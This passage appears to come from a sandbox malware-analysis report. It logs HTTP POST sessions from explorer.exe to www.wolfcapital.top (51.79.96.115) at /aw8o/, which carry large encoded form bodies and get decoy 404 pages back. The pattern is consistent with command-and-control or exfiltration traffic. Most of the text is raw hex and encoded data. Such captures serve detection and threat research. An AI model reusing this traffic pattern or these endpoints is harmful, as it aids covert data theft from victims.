77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	49997	51.79.96.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:26.451440096 CEST	657	OUT	POST /aw8o/ HTTP/1.1 Host: www.wolfcapital.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wolfcapital.top Referer: http://www.wolfcapital.top/aw8o/ Connection: close Content-Length: 527 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 34 4c 33 61 31 52 66 42 6b 4f 6d 66 72 43 42 73 57 30 38 71 77 76 74 31 33 42 78 2b 61 33 68 74 47 46 34 4e 2b 44 4c 32 38 38 58 49 4e 4b 77 76 33 36 49 50 51 47 33 69 59 48 53 31 7a 34 65 4d 63 57 45 5a 49 77 48 5a 79 7a 69 59 71 71 77 43 70 5a 4c 73 51 79 37 44 6e 48 75 35 2f 61 38 49 33 6d 36 78 77 6b 4e 67 58 6a 66 4d 6e 73 59 6f 55 6a 69 4d 69 4a 38 63 37 2b 47 44 62 78 47 70 42 4e 71 6f 46 5a 36 76 45 7a 57 49 65 34 36 4c 30 79 53 74 42 35 42 4b 59 71 70 71 77 71 67 55 79 75 69 6b 38 46 77 36 6b 37 7a 48 68 6f 51 61 6b 4a 61 33 74 77 39 2b 53 30 36 6f 56 4e 31 55 43 34 63 47 76 52 6c 4a 31 64 71 69 77 54 39 72 59 32 77 71 4e 4c 61 51 37 73 4c 70 45 4e 47 77 50 78 66 54 44 73 71 76 51 4f 4d 4f 44 50 34 44 67 43 4f 45 30 6b 58 58 6b 39 32 61 7a 55 33 58 4f 4e 56 6d 48 61 42 79 65 4b 6f 57 70 66 69 74 71 42 68 54 59 2b 37 52 56 42 4c 37 72 39 6d 66 63 31 33 50 58 55 79 54 46 43 4e 59 75 41 6f 5a 56 34 70 33 64 43 57 43 32 30 42 34 53 54 33 42 78 4e 6d 4c 56 63 75 75 50 72 31 31 6f 44 73 69 77 69 33 35 72 52 5a 59 6b 79 69 59 42 61 71 58 6e 6b 76 45 36 51 42 66 65 59 43 30 38 53 51 4d 77 36 31 4e 68 4d 48 5a 69 42 56 57 2b 31 6d 33 32 30 58 74 72 53 53 50 4d 31 36 50 61 75 62 52 43 69 4e 30 4e 70 4f 79 48 78 30 57 4e 61 6c 79 52 6b 6f 45 70 2b 49 73 58 4b 77 47 57 50 74 42 57 74 47 64 7a 78 65 61 4f 62 57 68 73 77 49 35 73 6b 64 4a 38 68 67 33 57 34 51 6d 69 36 51 64 47 31 55 56 2f 41 41 30 36 41 77 62 55 55 70 37 73 65 76 46 71 37 39 2f 4e 38 35 49 65 55 6d 35 74 65 76 2f 42 48 4c 7a 33 66 4f 30 73 52 50 43 33 35 75 37 77 4a 30 3d Data Ascii: 5Nag0d=4L3a1RfBkOmfrCBsW08qwvt13Bx+a3htGF4N+DL288XINKwv36IPQG3iYHS1z4eMcWEZIwHZyziYqqwCpZLsQy7DnHu5/a8I3m6xwkNgXjfMnsYoUjiMiJ8c7+GDbxGpBNqoFZ6vEzWIe46L0yStB5BKYqpqwqgUyuik8Fw6k7zHhoQakJa3tw9+S06oVN1UC4cGvRlJ1dqiwT9rY2wqNLaQ7sLpENGwPxfTDsqvQOMODP4DgCOE0kXXk92azU3XONVmHaByeKoWpfitqBhTY+7RVBL7r9mfc13PXUyTFCNYuAoZV4p3dCWC20B4ST3BxNmLVcuuPr11oDsiwi35rRZYkyiYBaqXnkvE6QBfeYC08SQMw61NhMHZiBVW+1m320XtrSSPM16PaubRCiN0NpOyHx0WNalyRkoEp+IsXKwGWPtBWtGdzxeaObWhswI5skdJ8hg3W4Qmi6QdG1UV/AA06AwbUUp7sevFq79/N85IeUm5tev/BHLz3fO0sRPC35u7wJ0=
Aug 29, 2023 22:45:26.546717882 CEST	658	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Tue, 29 Aug 2023 20:45:26 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	49998	51.79.96.115	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:45:29.076905966 CEST	671	OUT	POST /aw8o/ HTTP/1.1 Host: www.wolfcapital.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.wolfcapital.top Referer: http://www.wolfcapital.top/aw8o/ Connection: close Content-Length: 52915 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko Data Raw: 35 4e 61 67 30 64 3d 34 4c 33 61 31 52 66 42 6b 4f 6d 66 72 43 42 73 57 30 38 71 77 76 74 31 33 42 78 2b 61 33 68 74 47 46 34 4e 2b 44 4c 32 38 38 66 49 4e 34 49 76 32 5a 67 50 52 47 33 69 62 48 53 30 7a 34 66 4f 63 57 63 6e 49 77 62 4a 79 31 6d 59 71 35 6b 43 70 72 6a 73 48 79 37 43 69 48 75 37 37 61 38 63 33 6d 48 79 77 6b 5a 61 58 54 44 4d 6d 75 41 6f 43 45 2b 4c 71 35 38 57 37 2b 47 66 66 78 47 58 42 4e 75 43 46 5a 6d 76 45 78 53 49 4d 61 79 4c 34 42 4b 74 56 35 42 4a 52 4b 70 6c 35 4b 67 74 79 75 32 4b 38 46 77 71 6b 36 33 48 68 75 63 61 6e 49 61 30 74 51 39 2b 59 55 36 72 52 4e 35 51 43 34 41 65 76 51 52 4a 31 66 71 69 78 7a 39 72 64 53 63 72 45 4c 61 4b 73 38 4c 2b 41 4e 4b 34 50 78 61 67 44 6f 36 76 51 2f 6f 4f 41 64 51 44 7a 78 57 45 7a 30 58 52 72 64 32 4e 36 30 33 4c 4f 4e 46 4d 48 5a 4a 69 65 4e 77 57 37 4f 43 74 36 7a 4a 51 66 65 36 61 4a 52 4c 75 76 39 69 44 63 31 6e 74 58 55 7a 55 46 48 31 59 70 77 34 5a 61 64 64 77 5a 53 57 42 35 55 42 68 62 7a 4c 4c 78 4e 71 44 56 64 6d 2b 50 70 5a 31 70 6a 73 69 69 56 4c 36 6a 68 5a 66 73 53 69 47 4c 36 71 36 6e 6b 6a 6d 36 53 73 39 66 6f 75 30 39 69 67 4d 6a 61 31 4f 72 4d 48 46 6f 68 56 55 36 31 6d 33 32 30 54 35 72 53 75 50 5a 58 71 50 59 65 72 52 4a 56 5a 30 50 70 50 37 48 78 30 4c 4e 61 70 42 52 6b 67 2b 70 2b 55 47 58 49 63 47 57 64 56 42 43 4a 53 65 32 42 65 44 5a 37 57 36 6f 77 4e 35 73 67 39 42 38 68 51 4e 57 4c 6b 6d 6a 36 41 64 51 46 55 55 36 67 41 75 71 67 78 44 51 55 30 71 73 61 33 37 71 36 35 52 4e 37 4e 49 66 53 4c 44 2b 2f 6a 69 63 78 66 6c 31 49 6d 35 6c 43 48 65 6e 70 65 42 72 35 43 30 66 7a 34 59 4c 33 51 78 35 35 4b 62 47 48 6c 72 36 42 78 4e 2f 55 39 43 65 73 36 4a 4a 47 61 58 4a 6b 32 56 43 77 65 72 32 44 69 36 71 64 37 39 63 74 77 53 65 79 70 36 34 38 45 58 4c 54 7a 37 54 38 31 35 6e 42 44 56 36 71 45 53 63 76 4f 39 6e 77 5a 42 54 43 62 4a 6a 4e 48 37 46 73 71 62 54 6b 59 58 77 68 56 42 55 6b 56 52 35 39 4b 52 4b 54 75 7a 59 62 6d 68 46 45 57 61 63 48 48 62 4c 4d 58 72 37 68 56 59 43 75 31 45 56 57 39 55 4a 69 76 73 2f 6a 54 4a 37 6d 73 50 72 43 33 6a 76 30 72 49 51 31 55 73 55 77 74 65 37 43 76 6b 68 4a 65 31 74 41 55 71 66 43 34 4b 47 59 58 54 2b 34 31 32 59 51 62 73 53 32 46 35 4c 74 63 52 4f 55 62 4c 45 75 51 32 48 35 70 4b 41 75 41 58 31 50 58 33 58 48 43 61 78 56 30 34 64 2b 67 4a 58 76 30 41 76 57 6b 67 4e 31 61 38 68 7a 74 6d 4e 64 33 71 69 62 73 74 72 36 49 46 6c 66 30 6a 63 64 34 2f 57 4f 32 30 79 58 70 71 62 55 76 51 4e 34 50 54 69 34 4a 5a 54 64 54 70 31 79 37 71 59 50 74 41 46 77 45 49 78 5a 78 77 4f 54 62 55 67 52 4d 2f 72 33 78 7a 65 2b 6c 37 34 6a 77 54 52 45 6c 52 4d 42 62 58 57 54 47 59 71 45 41 6d 34 55 71 41 4d 55 59 36 45 2b 6f 69 61 6b 66 6e 7a 73 31 56 78 7a 4f 4f 45 4b 45 52 47 50 51 6c 73 56 54 52 63 56 58 61 41 77 37 32 31 45 74 78 49 65 54 62 4d 52 37 79 56 5a 2b 76 4f 2b 55 78 68 53 79 6d 30 31 6b 6f 63 56 4b 54 54 35 36 64 36 52 56 4c 52 6f 47 2b 63 70 41 54 71 55 55 2f 33 74 44 7a 52 58 54 42 62 58 46 75 33 35 58 6c 4c 77 79 4d 65 35 68 51 45 77 51 36 6a 32 6d 2b 62 41 7a 47 59 69 38 4b 53 35 42 65 41 71 59 6b 33 35 78 72 4a 56 56 73 53 34 6a 6a 6e 65 51 4a 43 46 39 58 55 79 54 5a 4c 79 49 31 2b 33 48 2f 57 41 33 38 33 6e 2f 45 4a 42 43 79 39 52 46 41 34 7a 78 74 34 6d 47 38 78 71 59 46 6d 73 77 6b 76 6f 55 67 51 69 45 47 78 31 61 76 2b 7a 53 49 31 4c 43 4f 2b 61 76 64 4e 6b 53 65 71 46 6c 51 62 4c 38 6d 65 72 4c 55 6c 64 38 4d 4d 53 37 69 68 4c 42 59 4c 36 31 74 62 51 53 44 37 63 50 67 4a 66 6f 4f 6b 56 31 67 43 58 44 31 6d 6e 64 70 4e 6b 62 2f 4b 56 67 5a 58 4f 34 51 6b 59 4b 38 6d 34 33 38 69 56 6a 46 41 6f 79 63 42 45 55 54 58 2b 6a 6c 4f 73 50 30 74 39 31 36 64 34 6f 59 67 68 33 6a 41 39 38 2f 38 44 66 43 77 44 7a 30 55 59 4d 78 57 59 73 73 52 58 44 45 41 7a 45 68 78 69 51 36 31 75 49 4d 53 74 53 68 69 59 48 43 53 46 63 41 4c 53 67 63 48 75 66 53 34 50 68 4c 4c 30 4c 69 53 63 4d 59 6e 78 46 59 32 4e 77 51 64 6e 4c 6e 45 54 6c 46 6b 64 71 36 58 55 6b 4d 47 74 7a 43 49 44 45 4f 6f 78 6e 71 32 73 4a 76 36 56 44 64 2b 45 47 64 37 46 4d 4b 4b 6b 46 63 35 76 7a 5a 42 46 6b 72 62 79 65 54 63 59 48 63 39 42 31 4d Data Ascii: 5Nag0d=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
Aug 29, 2023 22:45:29.172857046 CEST	672	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 708 date: Tue, 29 Aug 2023 20:45:29 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">404</h1><h2 style="margin-top:20px;font-size: 30px;">Not Found</h2><p>The resource requested could not be found on this server!</p></div></div></body></html>
